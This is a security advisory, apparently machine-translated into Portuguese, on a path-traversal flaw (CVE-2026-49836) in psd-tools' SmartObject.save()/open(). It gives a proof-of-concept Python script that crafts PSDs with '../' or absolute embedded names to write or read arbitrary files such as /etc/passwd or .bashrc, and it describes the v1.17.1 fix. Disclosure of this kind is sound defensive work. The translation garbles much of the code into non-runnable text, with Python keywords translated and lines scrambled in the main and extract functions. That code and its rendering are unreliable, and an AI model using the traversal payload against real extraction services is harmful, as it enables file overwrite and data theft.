# psd- tools: gravação/lida arbitrária de arquivos através do caminho de objetos inteligentes Em `psd- tools` (todos os lançamentos expondo a API `SmartObject` através de **v 1.17.0 **), `SmartObject.save()' escreve um objeto inteligente incorporado a um caminho tirado literalmente do arquivo PSD. Como esse nome é controlado pelo atacante e não sanitário, uma ferramenta que extrai objetos incorporados de um `.psd` não confiável pode ser feita para escrever bytes do atacante- escolhido para um caminho do atacante- escolhido (absoluto ou `../ `- atravessando), fora do seu diretório de saída pretendido. Um problema secundário no 'SmartObject. open()' para objetos inteligentes de natureza externa permite que o descritor `fullPath' controlado pelo atacante seja usado como um caminho arbitrário de arquivo ** ler**, permitindo a exfiltração do conteúdo de leitura para o destino de gravação controlado. Ambos os problemas são corrigidos em **v 1.17.1 **.
### Escreva caminho — `SmartObject.save()` (primário). `src/psd_ tools/api/smart_object.py: 170 - 179 ` (tag ` v) 1.17.0 `): ```python def save(self, filename: strї Nenhum = Nenhum) -> Nenhum: se o nome do arquivo é Nenhum: nome do arquivo = self.filename # unfired, direto do arquivo com open(filename, "wb") como f: f.write(self.data) # bytes controlados pelo atacante ```` `self.filename` vem do arquivo sem validação — a propriedade `filename` (`: 62 - 67 `) retorna `self._data.filename`, definido pelo analisador de camada ligada em `src/psd_tools/psd/linked_layer.py: 100 ` (`read_unicode_string(fp)`). Não há `basename`, nenhuma rejeição absoluta do caminho, e nenhuma filtragem `...`; o conteúdo escrito (`self.data`) é do mesmo arquivo, por isso o atacante controla tanto o destino quanto o conteúdo.
### Leia o caminho — `SmartObject.open()` / `.data` para o tipo externo (secundário) Para `kind == "external"`, `save()` leia o conteúdo do arquivo através da propriedade `data`, que chamou `open()` sem restrições `external_dir`. O descritor `fullPath` incorporado no PSD foi então usado literalmente como caminho de origem, permitindo que um PSD criado pelo atacante fizesse com que `save( directory="/safe/ out")` lesse um arquivo arbitrário legível (por exemplo, `/etc/passwd`) e escreva seu conteúdo na pasta de saída. Standalone, contra o pacote lançado (escrever apenas em um novo dir de tempo; saída 0 = confirmado). Um pacote Docker está disponível a pedido.
```bash pip instalar ferramentas psd'== 1.17.0 python poc.py ```. `poc.py` constrói dois PSDs a partir do próprio dispositivo `placedLayer.psd` do projeto (incluído como `base.psd`), diferente ** apenas** no nome de objeto inteligente incorporado — `controle` é um nome de base desnudo, `explotar' é `..././PWNED-psd- tools-poc.bin` — então extrai cada um como um consumidor faria: ```python importa os, shutil, tempfile from psd_tools importa PSDImage from psd_tools.constants importar Tag MARKER = b"PSD-TOOLS-POC: carga útil arbitrária-arquive-escrever (octês controlados pelo atacante)\n" NAMES = {"controle": "embedded-export.bin", "exploit": ".././PWNED-psd-tools-poc.bin"}.
def craft(nome, fora): psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd")) uuid = next(l.smart_object.unique_id para l em psd.descendants() se l.kind == "smartobject" e l.smart_object.kind == "data") para chave em (Tag.LINKED_LAYER 1, Tag.LINKED_LAYER 2, Tag.LINKED_LAYER 3, Tag.LINKED_LAYER_EXTERNAL): para o item em (psd.tagged_blocks.get_data(key) ou []) se a tecla em psd.tagged_blocks []: se item.uuid.strip("\x 00 == Uuid: item.filename, item.data = nome, MARKER psd.save(out) def extract(psd_path, outdir, watch): psd = PSDImage.open(psd_path) before = {os.path.realpath(os.path.join(d, f)) para d, _, fs in os.walk(walk) para f em fs} cwd = os.getcwd(); os.chdir(outdir) para tentar: para l in psd.descendants(): se l.kind == "smartobject" e l.smart_object.kind == "data": l.smart_object.save() para finalmente: os.chdir(cwd) após = {os.path.realpath(os.path.join(d, f) para d, _, fs in os.walk(walk) para f in fs} retorno ordenado(após - antes) para d, _, fs in fswalk(watch) para f em fs} def main(): tmp = tempfile.mkdtemp(prefix="poc_") try: scapped = {} for tag, name in NAMES.items(): psd = os.path.join( tmp, tag + ".psd"); craft( name, psd) so = next( l.smart_object for l in PSDImage.open(psd). descendants() se l.kind == "smartobject" e l.smart_object.kind == "data") print( f"[ {tag}] parsed embedded name = { so. filename!r}") outdir = os.path.join( tmp, tag, "app", "extraído"); os. makedirs(outdir) written = extract(psd, outd, tf); {os(path.realpath( outdir) esc=[w win win win 39 )}Outside saída dir{chr( 39 ) se w em esc out chr( 39 )} dentro da saída dir{chr( 39 )}") ok = (não escapou["controle"] e escapou["exploit"] e all(open(w, "rb").read() == MARQUEIRO para w em escapou["exploit"])) print("\nVERDICT:", "ARBITRAry FILE WIRED CONFIRMED" se ok "não reproduzido") retorna 0 se ok senão 1 Finalmente: shutil.rmtree(tmp, ignore_errors=Verdade).
aumentar o SistemaExit(main()) ```. Saída (`psd- tools 1.17.0 `): ``` [controle] analisado nome embedded-export.bin' [controle] escreveu.../poc_*/control/app/extraído/embedded-export.bin dentro do dir de saída [exploit] analisado nome embedded = '.././PWNED-psd-tools-poc.bin' [exploit] escreveu.../poc_*/exploit/PWNED-psd-tools-poc.bin saída em OUTSIDE dir VERDICT: A ECRITA DO DO DOIS ARBITRARIO CONFIRMED ```. Um nome embutido absoluto (por exemplo `/ home/ user/. bashrc`) é honrado da mesma forma.
Qualquer aplicativo que ingere arquivos PSD/PSB não confiados e extraia seus objetos inteligentes incorporados através do `SmartObject.save()` pode ser coagido para escrever bytes controlados pelo atacante em um diretório existente do atacante- escolhido — nenhuma autenticação ou configuração especial necessária. Impacto de alta integridade; pode escalar para execução de código dependendo do caminho do alvo. Para objetos inteligentes de natureza externa, a mesma chamada adicionalmente permitida lê arquivos arbitrários, com o conteúdo de leitura escrito na pasta de saída controlada. **Moderar** para o caso comum (uma ferramenta de biblioteca/desktop onde um usuário inicia a extração). Mais alto para um serviço que extrai automaticamente objetos inteligentes de PSDs carregados sem interação com o usuário.
Corrigido em **v 1.17.1 ** (PR # 657 ). Alterações para `src/psd_tools/api/smart_object.py`. - ** `save()`**: tira componentes do diretório do nome incorporado via `os.path.basename()`, escreve apenas em um `diretório' fornecido pelo chamador (por omissão para CWD), e verifica que o caminho resolvido permanece dentro desse diretório via `os.path.realpath()` + `os.path.commonpath()`. Um novo parâmetro `external_dir` é propagado para `open()` para objetos de natureza externa para restringir a fonte de leitura. - **`open()`**: quando `external_dir` é fornecido, um `fullPath` que resolve fora dela é silenciosamente ignorado (cai até `relPath`); um `relPath` que escapa do diretório levanta `ValueError`. CWE- 22 (Limite de um nome de caminho a um diretório restrito) via CWE- 73 (Controlo externo do nome do arquivo ou caminho). - Corrigir PR: tools/psd- tools/pull/ 657 - Lançamento: 1.17.1 - Fonte afetada (tag ` v 1.17.0 `: ` src/psd_ tools/ api/ smart_object.py: 170 - 179 ` (sinver), `: 62 - 67 ` (não confiável `nome de arquivo'); `src/psd_ tools/psd/linked_layer.py: 100 ` (fonte). - Distinguir na classe dos avisos publicados (GHSA- 24 p 2 - j 2 Jr- 386 w — exaustão de recurso de compressão; GHSA- 22 jr- vc 7 j- g 762 — sobrecarga de buffer). A lógica de gravação `save()' não está alterada desde que a API `SmartObject` foi introduzida, então todas as liberações expondo- a são afetadas.
Registro de aconselhamento: GHSA- 2 rmg- vrx 8 - 9 j 2 f. Identificadores relacionados: CVE- 2026 - 49836. Tempo: GitHub Advisory Database publicou este registro em 2026 - 07 - 09 T 23: 20: 47.000 Z e lista a sua última modificação como 2026 - 07 - 09 T 23: 20: 47.000 Z. Gravidade: MODERAR. Dados de pontuação publicados: CVSS_V 4: CVSS: 4.0 /AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/África do Sul:N.
Informações sobre software e versão afetadas: Ferramentas psd do pacote PyPI — ECOSISTEM: introduzido 0, corrigido 1.17.1. Classificação e evidência: identificadores de fraqueza CWE- 22, CWE- 73. O registro contém 4 suporte de referências nestes tipos: WEB, PACKAGE.